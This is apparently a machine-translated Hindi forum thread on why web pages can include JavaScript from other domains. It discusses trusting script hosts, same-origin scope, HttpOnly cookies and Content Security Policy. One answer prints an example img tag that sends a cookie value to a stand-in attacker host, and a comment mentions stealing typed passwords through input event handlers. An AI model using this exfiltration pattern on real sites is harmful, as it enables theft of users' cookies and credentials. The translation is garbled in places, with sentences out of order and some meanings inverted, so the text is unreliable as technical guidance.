यह क्यों है कि जब हम y.com से x.com पर जावास्क्रिप्ट फ़ाइल से लिंक करते हैं (उदाहरण के लिए Google Analytics या jquery) तो यह किसी भी क्रॉस डोमेन सुरक्षा समस्या का कारण नहीं बनता है?हम किसी अन्य डोमेन पर जेएस फ़ाइलों से क्यों जुड़ सकते हैं?
उदाहरण के लिए:
y.com/index.html में हमने:
<script type="text/javascript" src="http://x.com/jsfile.js" />
हमें कैसे पता कर सकते हैं जब यह करने के लिए ठीक है और जब यह नहीं है?
इसमें एक प्रमुख सुरक्षा छेद होने की संभावना है, इसलिए आपको उस साइट पर भरोसा करना है जो जावास्क्रिप्ट फ़ाइल होस्ट कर रहा है।
उदाहरण के लिए, वह कोड आपकी साइट में अधिक स्क्रिप्ट टैग और आईएमजी टैग इंजेक्ट कर सकता है जो संवेदनशील डेटा को किसी तृतीय पक्ष को रिले कर सकता है।
उसी उत्पत्ति नीति के बारे में डेविड की टिप्पणी भ्रामक हो सकती है। इस तरह यह तो आपकी साइट के रूप में
<img src="http://evil.example.com/sendcookieshere.whatever?cookievalue=secret_info />
दूरस्थ होस्ट पर जावा स्क्रिप्ट कोड गतिशील रूप से एक img टैग इंजेक्षन करने के लिए बदल गया था: एक दूरस्थ साइट के लिए डेटा रिले करने का एक बढ़िया तरीका एक दूरस्थ डोमेन के लिए एक img टैग डालने के लिए है एक सुरक्षा छेद हो सकता है। इनमें से कुछ मुद्दों में कमी आई है जैसे HTTP-केवल कुकीज़ का उपयोग करना, जो जावास्क्रिप्ट के माध्यम से उपलब्ध नहीं हैं।
विश्लेषण प्रणाली का उदाहरण एक महान है। आपको भरोसा करना होगा कि प्रदाता कोई संवेदनशील डेटा नहीं लेगा जैसे आपकी अपनी कुकीज़ और इसे दूरस्थ स्थान पर भेज दें। आपको प्रदाता पर भरोसा करने की भी आवश्यकता है कि उनके सिस्टम सुरक्षित है और एक हैकर जावास्क्रिप्ट फ़ाइलों को उनके सर्वर पर परिवर्तित नहीं कर सका। Analytics सिस्टम आम तौर पर इन तकनीकों का उपयोग करके काम करते हैं, लेकिन उम्मीद है कि वे इसे अच्छे और बुराई के लिए उपयोग नहीं करते हैं। कुछ अर्थों में यह चिंता करने से अलग नहीं है कि क्या आपके डेवलपर अच्छे, सुरक्षित कोड लिख रहे हैं और क्या वे एक गुप्त बैकडोर पेश करते हैं।
क्यों यह अनुमति है, यह सिर्फ ऐतिहासिक है। वेब बिल्कुल सुरक्षा के साथ डिजाइन नहीं किया गया था। चाहे वह सीएसआरएफ हमला, रीप्ले हमले, या एक्सएसएस हमले हो, ये वेब के डिजाइन में सभी मौलिक त्रुटियां हैं जो अब वेब डेवलपर्स की चिंताओं बन गई हैं।
जहां से डेटा आता है वह अप्रासंगिक है, यह वह दायरा है जहां इसका उपयोग किया जाता है।
आप सिर्फ एक अलग डोमेन से स्क्रिप्ट प्राप्त कर रहे हैं, यह अभी भी आपके अपने पृष्ठ के दायरे में चलता है, इसलिए डोमेन में संसाधनों तक पहुंच नहीं है, जहां से इसे लोड किया गया था।
ऐसी स्थिति में जहां आपके पास क्रॉस डोमेन समस्याएं हैं, जैसे किसी भिन्न डोमेन से किसी पृष्ठ वाले आईफ्रेम की तरह, आपके पास दो अलग-अलग क्षेत्र हैं। Iframe का पृष्ठ उस डोमेन के दायरे में चलता है जहां से इसे लोड किया गया था, इसलिए यह उस डोमेन में संसाधनों तक पहुंच सकता है, लेकिन यह उस पृष्ठ में कुछ भी नहीं पहुंच सकता है जो आईफ्रेम होस्ट कर रहा है क्योंकि यह एक अलग दायरा है।
(नोट:। मैं अगर शब्द "गुंजाइश" आमतौर पर इस संदर्भ में प्रयोग किया जाता है पता नहीं है, एक शब्द है कि बेहतर यह वर्णन हो सकता है)
मैं नहीं जानता कि क्यों हम यह कर सकते हैं । लेकिन आप सामग्री सुरक्षा नीति (सीएसपी) का उपयोग करके इसे रोकने से रोक सकते हैं, जो आपके वेब एप्लिकेशन द्वारा भेजे गए एक HTTP शीर्षलेख है जो घोषणा करता है कि इसे स्पष्ट रूप से अनुमति देने वाले डोमेन को छोड़कर जावास्क्रिप्ट लोड नहीं करना चाहिए।
यह सच है कि HTTP केवल कुकीज़ जावास्क्रिप्ट में हेडर सही पार्स करने से निकाला जा सकता है है? – alex
@alex - मुझे इसके बारे में निश्चित नहीं है। जावास्क्रिप्ट अन्य चीजों को भी कर सकता है जो घटनाओं को इनपुट करने के लिए इवेंट हैंडलर को जोड़कर पासवर्ड चुराकर पासवर्ड को चुरा लेते हैं, जो पाठ को रिमोट सर्वर पर भेजते हैं। – Eilon